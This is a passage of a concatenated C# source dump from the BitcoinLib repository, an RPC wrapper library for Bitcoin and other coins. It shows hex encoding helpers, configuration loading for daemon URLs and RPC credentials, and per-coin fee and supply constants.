c[0]; 56 | s[pos++] = c[1]; 57 | } 58 | return new string(s); 59 | } 60 | 61 | public override byte[] DecodeData(string encoded) 62 | { 63 | if (encoded == null) 64 | throw new ArgumentNullException(nameof(encoded)); 65 | if (encoded.Length % 2 == 1) 66 | throw new FormatException("Invalid Hex String"); 67 | 68 | var result = new byte[encoded.Length / 2]; 69 | for (int i = 0, j = 0; i < encoded.Length; i += 2, j++) 70 | { 71 | var a = IsDigit(encoded[i]); 72 | var b = IsDigit(encoded[i + 1]); 73 | if (a == -1 || b == -1) 74 | throw new FormatException("Invalid Hex String"); 75 | result[j] = (byte) (((uint) a << 4) | (uint) b); 76 | } 77 | return result; 78 | } 79 | 80 | public bool IsValid(string str) 81 | { 82 | return str.ToCharArray().All(c => IsDigit(c) != -1) && str.Length % 2 == 0; 83 | } 84 | 85 | public static int IsDigit(char c) 86 | { 87 | return c + 1 <= HexValueArray.Length 88 | ? HexValueArray[c] 89 | : -1; 90 | } 91 | 92 | public static bool IsWellFormed(string str) 93 | { 94 | try 95 | { 96 | Encoders.Hex.DecodeData(str); 97 | return true; 98 | } 99 | catch (FormatException) 100 | { 101 | return false; 102 | } 103 | } 104 | } 105 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Auxiliary/GlobalConstants.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | namespace BitcoinLib.Auxiliary 5 | { 6 | public static class GlobalConstants 7 | { 8 | public const ushort MillisecondsInASecond = 1000; 9 | public const ushort MinutesInADay = 1440; 10 | } 11 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Auxiliary/Hashing.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using System.Linq; 5 | using System.Security.Cryptography; 6 | using System.Text; 7 | 8 | namespace BitcoinLib.Auxiliary 9 | { 10 | public class Hashing 11 | { 12 | public static string GetSha256(string text) 13 | { 14 | return new SHA256Managed().ComputeHash(Encoding.UTF8.GetBytes(text)).Aggregate(string.Empty, (current, x) => current + $"{x:x2}"); 15 | } 16 | } 17 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Auxiliary/UnixTime.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using System; 5 | 6 | namespace BitcoinLib.Auxiliary 7 | { 8 | public static class UnixTime 9 | { 10 | private static readonly DateTime Epoch = new DateTime(1970, 1, 1, 0, 0, 0, 0); 11 | 12 | public static DateTime UnixTimeToDateTime(double unixTimeStamp) 13 | { 14 | return Epoch.AddSeconds(unixTimeStamp).ToUniversalTime(); 15 | } 16 | } 17 | } -------------------------------------------------------------------------------- /src/BitcoinLib/BitcoinLib.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | netstandard2.0 5 | BitcoinLib 6 | The most complete, up-to-date, battle-tested library and RPC wrapper for Bitcoin, Litecoin, Dogecoin and other Bitcoin clones in .NET. 7 | © George Kimionis 2018 8 | 1.15.0.0 9 | 1.15.0.0 10 | George Kimionis 11 | https://github.com/GeorgeKimionis/BitcoinLib/blob/master/LICENSE 12 | https://github.com/GeorgeKimionis/BitcoinLib 13 | c#;dotnet;bitcoin 14 | 15 | 16 | 17 | 18 | 19 | 20 | -------------------------------------------------------------------------------- /src/BitcoinLib/CoinParameters/Base/CoinConstants.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using System; 5 | 6 | namespace BitcoinLib.CoinParameters.Base 7 | { 8 | public abstract class CoinConstants where T : CoinConstants, new() 9 | { 10 | private static readonly Lazy Lazy = new Lazy(() => new T()); 11 | public static T Instance => Lazy.Value; 12 | } 13 | } -------------------------------------------------------------------------------- /src/BitcoinLib/CoinParameters/Base/CoinParameters.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using System; 5 | using System.Configuration; 6 | using System.Diagnostics; 7 | using BitcoinLib.Auxiliary; 8 | using BitcoinLib.Services.Coins.Base; 9 | using BitcoinLib.Services.Coins.Bitcoin; 10 | using BitcoinLib.Services.Coins.BitcoinCash; 11 | using BitcoinLib.Services.Coins.Colx; 12 | using BitcoinLib.Services.Coins.Cryptocoin; 13 | using BitcoinLib.Services.Coins.Dallar; 14 | using BitcoinLib.Services.Coins.Dash; 15 | using BitcoinLib.Services.Coins.Dogecoin; 16 | using BitcoinLib.Services.Coins.Litecoin; 17 | using BitcoinLib.Services.Coins.Mogwaicoin; 18 | using BitcoinLib.Services.Coins.Sarcoin; 19 | using BitcoinLib.Services.Coins.Smartcash; 20 | 21 | namespace BitcoinLib.Services 22 | { 23 | public partial class CoinService 24 | { 25 | public CoinParameters Parameters { get; } 26 | 27 | public class CoinParameters 28 | { 29 | #region Constructor 30 | 31 | public CoinParameters(ICoinService coinService, 32 | string daemonUrl, 33 | string rpcUsername, 34 | string rpcPassword, 35 | string walletPassword, 36 | short rpcRequestTimeoutInSeconds) 37 | { 38 | if (!string.IsNullOrWhiteSpace(daemonUrl)) 39 | { 40 | DaemonUrl = daemonUrl; 41 | UseTestnet = false; // this will force the CoinParameters.SelectedDaemonUrl dynamic property to automatically pick the daemonUrl defined above 42 | IgnoreConfigFiles = true; 43 | RpcUsername = rpcUsername; 44 | RpcPassword = rpcPassword; 45 | WalletPassword = walletPassword; 46 | } 47 | 48 | if (rpcRequestTimeoutInSeconds > 0) 49 | { 50 | RpcRequestTimeoutInSeconds = rpcRequestTimeoutInSeconds; 51 | } 52 | else 53 | { 54 | short rpcRequestTimeoutTryParse = 0; 55 | 56 | if (short.TryParse(ConfigurationManager.AppSettings.Get("RpcRequestTimeoutInSeconds"), out rpcRequestTimeoutTryParse)) 57 | { 58 | RpcRequestTimeoutInSeconds = rpcRequestTimeoutTryParse; 59 | } 60 | } 61 | 62 | if (IgnoreConfigFiles && (string.IsNullOrWhiteSpace(DaemonUrl) || string.IsNullOrWhiteSpace(RpcUsername) || string.IsNullOrWhiteSpace(RpcPassword))) 63 | { 64 | throw new Exception($"One or more required parameters, as defined in {GetType().Name}, were not found in the configuration file!"); 65 | } 66 | 67 | if (IgnoreConfigFiles && Debugger.IsAttached && string.IsNullOrWhiteSpace(WalletPassword)) 68 | { 69 | Console.ForegroundColor = ConsoleColor.Yellow; 70 | Console.WriteLine("[WARNING] The wallet password is either null or empty"); 71 | Console.ResetColor(); 72 | } 73 | 74 | #region BitcoinCash 75 | if (coinService is BitcoinCashService) 76 | { 77 | if (!IgnoreConfigFiles) 78 | { 79 | DaemonUrl = ConfigurationManager.AppSettings.Get("BitcoinCash_DaemonUrl"); 80 | DaemonUrlTestnet = ConfigurationManager.AppSettings.Get("BitcoinCash_DaemonUrl_Testnet"); 81 | RpcUsername = ConfigurationManager.AppSettings.Get("BitcoinCash_RpcUsername"); 82 | RpcPassword = ConfigurationManager.AppSettings.Get("BitcoinCash_RpcPassword"); 83 | WalletPassword = ConfigurationManager.AppSettings.Get("BitcoinCash_WalletPassword"); 84 | } 85 | 86 | CoinShortName = "BCH"; 87 | CoinLongName = "BitcoinCash"; 88 | IsoCurrencyCode = "BCH"; 89 | 90 | TransactionSizeBytesContributedByEachInput = 148; 91 | TransactionSizeBytesContributedByEachOutput = 34; 92 | TransactionSizeFixedExtraSizeInBytes = 10; 93 | 94 | FreeTransactionMaximumSizeInBytes = 1000; 95 | FreeTransactionMinimumOutputAmountInCoins = 0.01M; 96 | FreeTransactionMinimumPriority = 57600000; 97 | FeePerThousandBytesInCoins = 0.0001M; 98 | MinimumTransactionFeeInCoins = 0.0001M; 99 | MinimumNonDustTransactionAmountInCoins = 0.0000543M; 100 | 101 | TotalCoinSupplyInCoins = 21000000; 102 | EstimatedBlockGenerationTimeInMinutes = 10; 103 | BlocksHighestPriorityTransactionsReservedSizeInBytes = 50000; 104 | 105 | BaseUnitName = "Satoshi"; 106 | BaseUnitsPerCoin = 100000000; 107 | CoinsPerBaseUnit = 0.00000001M; 108 | } 109 | #endregion 110 | 111 | #region Bitcoin 112 | 113 | else if (coinService is BitcoinService) 114 | { 115 | if (!IgnoreConfigFiles) 116 | { 117 | DaemonUrl = ConfigurationManager.AppSettings.Get("Bitcoin_DaemonUrl"); 118 | DaemonUrlTestnet = ConfigurationManager.AppSettings.Get("Bitcoin_DaemonUrl_Testnet"); 119 | RpcUsername = ConfigurationManager.AppSettings.Get("Bitcoin_RpcUsername"); 120 | RpcPassword = ConfigurationManager.AppSettings.Get("Bitcoin_RpcPassword"); 121 | WalletPassword = ConfigurationManager.AppSettings.Get("Bitcoin_WalletPassword"); 122 | } 123 | 124 | CoinShortName = "BTC"; 125 | CoinLongName = "Bitcoin"; 126 | IsoCurrencyCode = "XBT"; 127 | 128 | TransactionSizeBytesContributedByEachInput = 148; 129 | TransactionSizeBytesContributedByEachOutput = 34; 130 | TransactionSizeFixedExtraSizeInBytes = 10; 131 | 132 | FreeTransactionMaximumSizeInBytes = 1000; 133 | FreeTransactionMinimumOutputAmountInCoins = 0.01M; 134 | FreeTransactionMinimumPriority = 57600000; 135 | FeePerThousandBytesInCoins = 0.0001M; 136 | MinimumTransactionFeeInCoins = 0.0001M; 137 | MinimumNonDustTransactionAmountInCoins = 0.0000543M; 138 | 139 | TotalCoinSupplyInCoins = 21000000; 140 | EstimatedBlockGenerationTimeInMinutes = 10; 141 | BlocksHighestPriorityTransactionsReservedSizeInBytes = 50000; 142 | 143 | BaseUnitName = "Satoshi"; 144 | BaseUnitsPerCoin = 100000000; 145 | CoinsPerBaseUnit = 0.00000001M; 146 | } 147 | 148 | #endregion 149 | 150 | #region Litecoin 151 | 152 | else if (coinService is LitecoinService) 153 | { 154 | if (!IgnoreConfigFiles) 155 | { 156 | DaemonUrl = ConfigurationManager.AppSettings.Get("Litecoin_DaemonUrl"); 157 | DaemonUrlTestnet = ConfigurationManager.AppSettings.Get("Litecoin_DaemonUrl_Testnet"); 158 | RpcUsername = ConfigurationManager.AppSettings.Get("Litecoin_RpcUsername"); 159 | RpcPassword = ConfigurationManager.AppSettings.Get("Litecoin_RpcPassword"); 160 | WalletPassword = ConfigurationManager.AppSettings.Get("Litecoin_WalletPassword"); 161 | } 162 | 163 | CoinShortName = "LTC"; 164 | CoinLongName = "Litecoin"; 165 | IsoCurrencyCode = "XLT"; 166 | 167 | TransactionSizeBytesContributedByEachInput = 148; 168 | TransactionSizeBytesContributedByEachOutput = 34; 169 | TransactionSizeFixedExtraSizeInBytes = 10; 170 | 171 | FreeTransactionMaximumSizeInBytes = 5000; 172 | FreeTransactionMinimumOutputAmountInCoins = 0.001M; 173 | FreeTransactionMinimumPriority = 230400000; 174 | FeePerThousandBytesInCoins = 0.001M; 175 | MinimumTransactionFeeInCoins = 0.001M; 176 | MinimumNonDustTransactionAmountInCoins = 0.001M; 177 | 178 | TotalCoinSupplyInCoins = 84000000; 179 | EstimatedBlockGenerationTimeInMinutes = 2.5; 180 | BlocksHighestPriorityTransactionsReservedSizeInBytes = 16000; 181 | BlockMaximumSizeInBytes = 250000; 182 | 183 | BaseUnitName = "Litetoshi"; 184 | BaseUnitsPerCoin = 100000000; 185 | CoinsPerBaseUnit = 0.00000001M; 186 | } 187 | 188 | #endregion 189 | 190 | #region Dogecoin 191 | 192 | else if (coinService is DogecoinService) 193 | { 194 | if (!IgnoreConfigFiles) 195 | { 196 | DaemonUrl = ConfigurationManager.AppSettings.Get("Dogecoin_DaemonUrl"); 197 | DaemonUrlTestnet = ConfigurationManager.AppSettings.Get("Dogecoin_DaemonUrl_Testnet"); 198 | RpcUsername = ConfigurationManager.AppSettings.Get("Dogecoin_RpcUsername"); 199 | RpcPassword = ConfigurationManager.AppSettings.Get("Dogecoin_RpcPassword"); 200 | WalletPassword = ConfigurationManager.AppSettings.Get("Dogecoin_WalletPassword"); 201 | } 202 | 203 | CoinShortName = "Doge"; 204 | CoinLongName = "Dogecoin"; 205 | IsoCurrencyCode = "XDG"; 206 | TransactionSizeBytesContributedByEachInput = 148; 207 | TransactionSizeBytesContributedByEachOutput = 34; 208 | TransactionSizeFixedExtraSizeInBytes = 10; 209 | FreeTransactionMaximumSizeInBytes = 1; // free txs are not supported from v.1.8+ 210 | FreeTransactionMinimumOutputAmountInCoins = 1; 211 | FreeTransactionMinimumPriority = 230400000; 212 | FeePerThousandBytesInCoins = 1; 213 | MinimumTransactionFeeInCoins = 1; 214 | MinimumNonDustTransactionAmountInCoins = 0.1M; 215 | TotalCoinSupplyInCoins = 100000000000; 216 | EstimatedBlockGenerationTimeInMinutes = 1; 217 | BlocksHighestPriorityTransactionsReservedSizeInBytes = 16000; 218 | BlockMaximumSizeInBytes = 500000; 219 | BaseUnitName = "Koinu"; 220 | BaseUnitsPerCoin = 100000000; 221 | CoinsPerBaseUnit = 0.00000001M; 222 | } 223 | 224 | #endregion 225 | 226 | #region Sarcoin 227 | 228 | else if (coinService is SarcoinService) 229 | { 230 | if (!IgnoreConfigFiles) 231 | { 232 | DaemonUrl = ConfigurationManager.AppSettings.Get("Sarcoin_DaemonUrl"); 233 | DaemonUrlTestnet = ConfigurationManager.AppSettings.Get("Sarcoin_DaemonUrl_Testnet"); 234 | RpcUsername = ConfigurationManager.AppSettings.Get("Sarcoin_RpcUsername"); 235 | RpcPassword = ConfigurationManager.AppSettings.Get("Sarcoin_RpcPassword"); 236 | WalletPassword = ConfigurationManager.AppSettings.Get("Sarcoin_WalletPassword"); 237 | } 238 | 239 | CoinShortName = "SAR"; 240 | CoinLongName = "Sarcoin"; 241 | IsoCurrencyCode = "SAR"; 242 | 243 | TransactionSizeBytesContributedByEachInput = 148; 244 | TransactionSizeBytesContributedByEachOutput = 34; 245 | TransactionSizeFixedExtraSizeInBytes = 10; 246 | 247 | FreeTransactionMaximumSizeInBytes = 0; 248 | FreeTransactionMinimumOutputAmountInCoins = 0; 249 | FreeTransactionMinimumPriority = 0; 250 | FeePerThousandBytesInCoins = 0.00001M; 251 | MinimumTransactionFeeInCoins = 0.00001M; 252 | MinimumNonDustTransactionAmountInCoins = 0.00001M; 253 | 254 | TotalCoinSupplyInCoins = 2000000000; 255 | EstimatedBlockGenerationTimeInMinutes = 1.5; 256 | BlocksHighestPriorityTransactionsReservedSizeInBytes = 50000; 257 | 258 | BaseUnitName = "Satoshi"; 259 | BaseUnitsPerCoin = 100000000; 260 | CoinsPerBaseUnit = 0.00000001M; 261 | } 262 | 263 | #endregion 264 | 265 | #region Dash 266 | 267 | else if (coinService is DashService) 268 | { 269 | if (!IgnoreConfigFiles) 270 | { 271 | DaemonUrl = ConfigurationManager.AppSettings.Get("Dash_DaemonUrl"); 272 | DaemonUrlTestnet = ConfigurationManager.AppSettings.Get("Dash_DaemonUrl_Testnet"); 273 | RpcUsername = ConfigurationManager.AppSettings.Get("Dash_RpcUsername"); 274 | RpcPassword = ConfigurationManager.AppSettings.Get("Dash_RpcPassword"); 275 | WalletPassword = ConfigurationManager.AppSettings.Get("Dash_WalletPassword"); 276 | } 277 | 278 | CoinShortName = "DASH"; 279 | CoinLongName = "Dash"; 280 | IsoCurrencyCode = "DASH"; 281 | 282 | TransactionSizeBytesContributedByEachInput = 148; 283 | TransactionSizeBytesContributedByEachOutput = 34; 284 | TransactionSizeFixedExtraSizeInBytes = 10; 285 | 286 | FreeTransactionMaximumSizeInBytes = 1000; 287 | FreeTransactionMinimumOutputAmountInCoins = 0.0001M; 288 | FreeTransactionMinimumPriority = 57600000; 289 | FeePerThousandBytesInCoins = 0.0001M; 290 | MinimumTransactionFeeInCoins = 0.001M; 291 | MinimumNonDustTransactionAmountInCoins = 0.0000543M; 292 | 293 | TotalCoinSupplyInCoins = 18900000; 294 | EstimatedBlockGenerationTimeInMinutes = 2.7; 295 | BlocksHighestPriorityTransactionsReservedSizeInBytes = 50000; 296 | 297 | BaseUnitName = "Duff"; 298 | BaseUnitsPerCoin = 100000000; 299 | CoinsPerBaseUnit = 0.00000001M; 300 | } 301 | 302 | #endregion 303 | 304 | #region Mogwai 305 | else if (coinService is MogwaicoinService) 306 | { 307 | if (!IgnoreConfigFiles) 308 | { 309 | DaemonUrl = ConfigurationManager.AppSettings.Get("Mogwaicoin_DaemonUrl"); 310 | DaemonUrlTestnet = ConfigurationManager.AppSettings.Get("Mogwaicoin_DaemonUrl_Testnet"); 311 | RpcUsername = ConfigurationManager.AppSettings.Get("Mogwaicoin_RpcUsername"); 312 | RpcPassword = ConfigurationManager.AppSettings.Get("Mogwaicoin_RpcPassword"); 313 | WalletPassword = ConfigurationManager.AppSettings.Get("Mogwaicoin_WalletPassword"); 314 | } 315 | CoinShortName = "Mogwaicoin"; 316 | CoinLongName = "Mogwaicoin"; 317 | IsoCurrencyCode = "MOG"; 318 | TransactionSizeBytesContributedByEachInput = 148; 319 | TransactionSizeBytesContributedByEachOutput = 34; 320 | TransactionSizeFixedExtraSizeInBytes = 10; 321 | FreeTransactionMaximumSizeInBytes = 1000; 322 | FreeTransactionMinimumOutputAmountInCoins = 0.0001M; 323 | FreeTransactionMinimumPriority = 57600000; 324 | FeePerThousandBytesInCoins = 0.0001M; 325 | MinimumTransactionFeeInCoins = 0.001M; 326 | MinimumNonDustTransactionAmountInCoins = 0.0000543M; 327 | TotalCoinSupplyInCoins = 50000000; 328 | EstimatedBlockGenerationTimeInMinutes = 2.0; 329 | BlocksHighestPriorityTransactionsReservedSizeInBytes = 50000; 330 | BaseUnitName = "Puff"; 331 | BaseUnitsPerCoin = 100000000; 332 | CoinsPerBaseUnit = 0.00000001M; 333 | } 334 | #endregion 335 | 336 | #region Smartcash 337 | 338 | else if (coinService is SmartcashService) 339 | { 340 | if (!IgnoreConfigFiles) 341 | { 342 | DaemonUrl = ConfigurationManager.AppSettings.Get("Smartcash_DaemonUrl"); 343 | DaemonUrlTestnet = ConfigurationManager.AppSettings.Get("Smartcash_DaemonUrl_Testnet"); 344 | RpcUsername = ConfigurationManager.AppSettings.Get("Smartcash_RpcUsername"); 345 | RpcPassword = ConfigurationManager.AppSettings.Get("Smartcash_RpcPassword"); 346 | WalletPassword = ConfigurationManager.AppSettings.Get("Smartcash_WalletPassword"); 347 | } 348 | 349 | CoinShortName = "SMART"; 350 | CoinLongName = "Smartcash"; 351 | IsoCurrencyCode = "SMART"; 352 | 353 | TransactionSizeBytesContributedByEachInput = 148; 354 | TransactionSizeBytesContributedByEachOutput = 34; 355 | TransactionSizeFixedExtraSizeInBytes = 10; 356 | 357 | FreeTransactionMaximumSizeInBytes = 0; // free txs are not supported 358 | FreeTransactionMinimumOutputAmountInCoins = 0; 359 | FreeTransactionMinimumPriority = 0; 360 | FeePerThousandBytesInCoins = 0.0001M; 361 | MinimumTransactionFeeInCoins = 0.001M; 362 | MinimumNonDustTransactionAmountInCoins = 0.00001M; 363 | 364 | TotalCoinSupplyInCoins = 5000000000; 365 | EstimatedBlockGenerationTimeInMinutes = 0.916667; 366 | BlocksHighestPriorityTransactionsReservedSizeInBytes = 50000; 367 | 368 | BaseUnitName = "Smartoshi"; 369 | BaseUnitsPerCoin = 100000000; 370 | CoinsPerBaseUnit = 0.00000001M; 371 | } 372 | 373 | #endregion 374 | 375 | #region Dallar 376 | 377 | else if (coinService is DallarService) 378 | { 379 | if (!IgnoreConfigFiles) 380 | { 381 | DaemonUrl = ConfigurationManager.AppSettings.Get("Dallar_DaemonUrl"); 382 | DaemonUrlTestnet = ConfigurationManager.AppSettings.Get("Dallar_DaemonUrl_Testnet"); 383 | RpcUsername = ConfigurationManager.AppSettings.Get("Dallar_RpcUsername"); 384 | RpcPassword = ConfigurationManager.AppSettings.Get("Dallar_RpcPassword"); 385 | WalletPassword = ConfigurationManager.AppSettings.Get("Dallar_WalletPassword"); 386 | } 387 | 388 | CoinShortName = "DAL"; 389 | CoinLongName = "Dallar"; 390 | IsoCurrencyCode = "DAL"; 391 | 392 | TransactionSizeBytesContributedByEachInput = 148; 393 | TransactionSizeBytesContributedByEachOutput = 34; 394 | TransactionSizeFixedExtraSizeInBytes = 10; 395 | 396 | FreeTransactionMaximumSizeInBytes = 1000; 397 | FreeTransactionMinimumOutputAmountInCoins = 0.001M; 398 | FreeTransactionMinimumPriority = 230400000; 399 | FeePerThousandBytesInCoins = 0.001M; 400 | MinimumTransactionFeeInCoins = 0.0001M; 401 | MinimumNonDustTransactionAmountInCoins = 0.001M; 402 | 403 | TotalCoinSupplyInCoins = 80000000; 404 | EstimatedBlockGenerationTimeInMinutes = 1.0; 405 | BlocksHighestPriorityTransactionsReservedSizeInBytes = 16000; 406 | BlockMaximumSizeInBytes = 750000; 407 | 408 | BaseUnitName = "Allar"; 409 | BaseUnitsPerCoin = 100000000; 410 | CoinsPerBaseUnit = 0.00000001M; 411 | } 412 | 413 | #endregion 414 | 415 | #region Colx 416 | 417 | else if (coinService is ColxService) 418 | { 419 | if (!IgnoreConfigFiles) 420 | { 421 | DaemonUrl = ConfigurationManager.AppSettings.Get("Colx_DaemonUrl"); 422 | DaemonUrlTestnet = ConfigurationManager.AppSettings.Get("Colx_DaemonUrl_Testnet"); 423 | RpcUsername = ConfigurationManager.AppSettings.Get("Colx_RpcUsername"); 424 | RpcPassword = ConfigurationManager.AppSettings.Get("Colx_RpcPassword"); 425 | WalletPassword = ConfigurationManager.AppSettings.Get("Colx_WalletPassword"); 426 | } 427 | CoinShortName = "COLX"; 428 | CoinLongName = "ColossusXT Coin"; 429 | IsoCurrencyCode = "COLX"; 430 | 431 | TransactionSizeBytesContributedByEachInput = 148; 432 | TransactionSizeBytesContributedByEachOutput = 34; 433 | TransactionSizeFixedExtraSizeInBytes = 10; 434 | 435 | FreeTransactionMaximumSizeInBytes = 1000; 436 | FreeTransactionMinimumOutputAmountInCoins = 0.0001M; 437 | FreeTransactionMinimumPriority = 57600000; 438 | FeePerThousandBytesInCoins = 0.0001M; 439 | MinimumTransactionFeeInCoins = 0.001M; 440 | MinimumNonDustTransactionAmountInCoins = 0.0000543M; 441 | 442 | TotalCoinSupplyInCoins = 18900000; 443 | EstimatedBlockGenerationTimeInMinutes = 2.7; 444 | BlocksHighestPriorityTransactionsReservedSizeInBytes = 50000; 445 | 446 | BaseUnitName = "ucolx"; 447 | BaseUnitsPerCoin = 100000000; 448 | CoinsPerBaseUnit = 0.00000001M; 449 | } 450 | 451 | #endregion 452 | 453 | #region Agnostic coin (cryptocoin) 454 | 455 | else if (coinService is CryptocoinService) 456 | { 457 | CoinShortName = "XXX"; 458 | CoinLongName = "Generic Cryptocoin Template"; 459 | IsoCurrencyCode = "XXX"; 460 | 461 | // Note: The rest of the parameters will have to be defined at run-time 462 | } 463 | 464 | #endregion 465 | 466 | #region Uknown coin exception 467 | 468 | else 469 | { 470 | throw new Exception("Unknown coin!"); 471 | } 472 | 473 | #endregion 474 | 475 | #region Invalid configuration / Missing parameters 476 | 477 | if (RpcRequestTimeoutInSeconds <= 0) 478 | { 479 | throw new Exception("RpcRequestTimeoutInSeconds must be greater than zero"); 480 | } 481 | 482 | if (string.IsNullOrWhiteSpace(DaemonUrl) 483 | || string.IsNullOrWhiteSpace(RpcUsername) 484 | || string.IsNullOrWhiteSpace(RpcPassword)) 485 | { 486 | throw new Exception($"One or more required parameters, as defined in {GetType().Name}, were not found in the configuration file!"); 487 | } 488 | 489 | #endregion 490 | } 491 | 492 | #endregion 493 | 494 | public string BaseUnitName { get; set; } 495 | public uint BaseUnitsPerCoin { get; set; } 496 | public int BlocksHighestPriorityTransactionsReservedSizeInBytes { get; set; } 497 | public int BlockMaximumSizeInBytes { get; set; } 498 | public string CoinShortName { get; set; } 499 | public string CoinLongName { get; set; } 500 | public decimal CoinsPerBaseUnit { get; set; } 501 | public string DaemonUrl { private get; set; } 502 | public string DaemonUrlTestnet { private get; set; } 503 | public double EstimatedBlockGenerationTimeInMinutes { get; set; } 504 | public int ExpectedNumberOfBlocksGeneratedPerDay => (int) EstimatedBlockGenerationTimeInMinutes * GlobalConstants.MinutesInADay; 505 | public decimal FeePerThousandBytesInCoins { get; set; } 506 | public short FreeTransactionMaximumSizeInBytes { get; set; } 507 | public decimal FreeTransactionMinimumOutputAmountInCoins { get; set; } 508 | public int FreeTransactionMinimumPriority { get; set; } 509 | public bool IgnoreConfigFiles { get; } 510 | public string IsoCurrencyCode { get; set; } 511 | public decimal MinimumNonDustTransactionAmountInCoins { get; set; } 512 | public decimal MinimumTransactionFeeInCoins { get; set; } 513 | public decimal OneBaseUnitInCoins => CoinsPerBaseUnit; 514 | public uint OneCoinInBaseUnits => BaseUnitsPerCoin; 515 | public string RpcPassword { get; set; } 516 | public short RpcRequestTimeoutInSeconds { get; set; } 517 | public string RpcUsername { get; set; } 518 | public string SelectedDaemonUrl => !UseTestnet ? DaemonUrl : DaemonUrlTestnet; 519 | public ulong TotalCoinSupplyInCoins { get; set; } 520 | public int TransactionSizeBytesContributedByEachInput { get; set; } 521 | public int TransactionSizeBytesContributedByEachOutput { get; set; } 522 | public int TransactionSizeFixedExtraSizeInBytes { get; set; } 523 | public bool UseTestnet { get; set; } 524 | public string WalletPassword { get; set; } 525 | } 526 | } 527 | } 528 | -------------------------------------------------------------------------------- /src/BitcoinLib/CoinParameters/Base/ICoinParameters.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using BitcoinLib.Services; 5 | 6 | namespace BitcoinLib.CoinParameters.Base 7 | { 8 | public interface ICoinParameters 9 | { 10 | CoinService.CoinParameters Parameters { get; } 11 | } 12 | } -------------------------------------------------------------------------------- /src/BitcoinLib/CoinParameters/Bitcoin/BitcoinConstants.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using BitcoinLib.CoinParameters.Base; 5 | 6 | namespace BitcoinLib.CoinParameters.Bitcoin 7 | { 8 | public static class BitcoinConstants 9 | { 10 | public sealed class Constants : CoinConstants 11 | { 12 | public readonly int OneBitcoinInSatoshis = 100000000; 13 | public readonly decimal OneSatoshiInBTC = 0.00000001M; 14 | public readonly int SatoshisPerBitcoin = 100000000; 15 | public readonly string Symbol = "฿"; 16 | 17 | #region Custom constructor example - commented out on purpose 18 | 19 | //private static readonly Lazy Lazy = new Lazy(() => new Constants()); 20 | 21 | //public static Constants Instance 22 | //{ 23 | // get 24 | // { 25 | // return Lazy.Value; 26 | // } 27 | //} 28 | 29 | //private Constants() 30 | //{ 31 | // // custom logic here 32 | //} 33 | 34 | #endregion 35 | } 36 | } 37 | } -------------------------------------------------------------------------------- /src/BitcoinLib/CoinParameters/Bitcoin/IBitcoinConstants.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | namespace BitcoinLib.CoinParameters.Bitcoin 5 | { 6 | public interface IBitcoinConstants 7 | { 8 | BitcoinConstants.Constants Constants { get; } 9 | } 10 | } -------------------------------------------------------------------------------- /src/BitcoinLib/CoinParameters/Colx/ColxConstants.cs: -------------------------------------------------------------------------------- 1 | using BitcoinLib.CoinParameters.Base; 2 | 3 | namespace BitcoinLib.CoinParameters.Colx 4 | { 5 | public static class ColxConstants 6 | { 7 | public sealed class Constants : CoinConstants 8 | { 9 | public readonly ushort CoinReleaseHalfsEveryXInYears = 7; 10 | public readonly ushort DifficultyIncreasesEveryXInBlocks = 34560; 11 | public readonly string Symbol = "COLX"; 12 | } 13 | } 14 | } -------------------------------------------------------------------------------- /src/BitcoinLib/CoinParameters/Colx/IColxConstants.cs: -------------------------------------------------------------------------------- 1 | namespace BitcoinLib.CoinParameters.Colx 2 | { 3 | public interface IColxConstants 4 | { 5 | ColxConstants.Constants Constants { get; } 6 | } 7 | } -------------------------------------------------------------------------------- /src/BitcoinLib/CoinParameters/Dallar/DallarConstants.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using BitcoinLib.CoinParameters.Base; 5 | 6 | namespace BitcoinLib.CoinParameters.Dallar 7 | { 8 | public static class DallarConstants 9 | { 10 | public sealed class Constants : CoinConstants 11 | { 12 | public readonly ushort CoinReleaseReduceEveryXInBlocks = 10080; 13 | public readonly ushort DifficultyIncreasesEveryXInBlocks = 6; 14 | public readonly uint OneDallarInAllars = 100000000; 15 | public readonly decimal OneAllarInDAL = 0.00000001M; 16 | public readonly decimal OneMicroDallarInDAL = 0.000001M; 17 | public readonly decimal OneMilliDallarInDAL = 0.001M; 18 | public readonly string Symbol = "D"; 19 | } 20 | } 21 | } -------------------------------------------------------------------------------- /src/BitcoinLib/CoinParameters/Dallar/IDallarConstants.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | namespace BitcoinLib.CoinParameters.Dallar 5 | { 6 | public interface IDallarConstants 7 | { 8 | DallarConstants.Constants Constants { get; } 9 | } 10 | } -------------------------------------------------------------------------------- /src/BitcoinLib/CoinParameters/Dash/DashConstants.cs: -------------------------------------------------------------------------------- 1 | using BitcoinLib.CoinParameters.Base; 2 | 3 | namespace BitcoinLib.CoinParameters.Dash 4 | { 5 | public static class DashConstants 6 | { 7 | public sealed class Constants : CoinConstants 8 | { 9 | public readonly ushort CoinReleaseHalfsEveryXInYears = 7; 10 | public readonly ushort 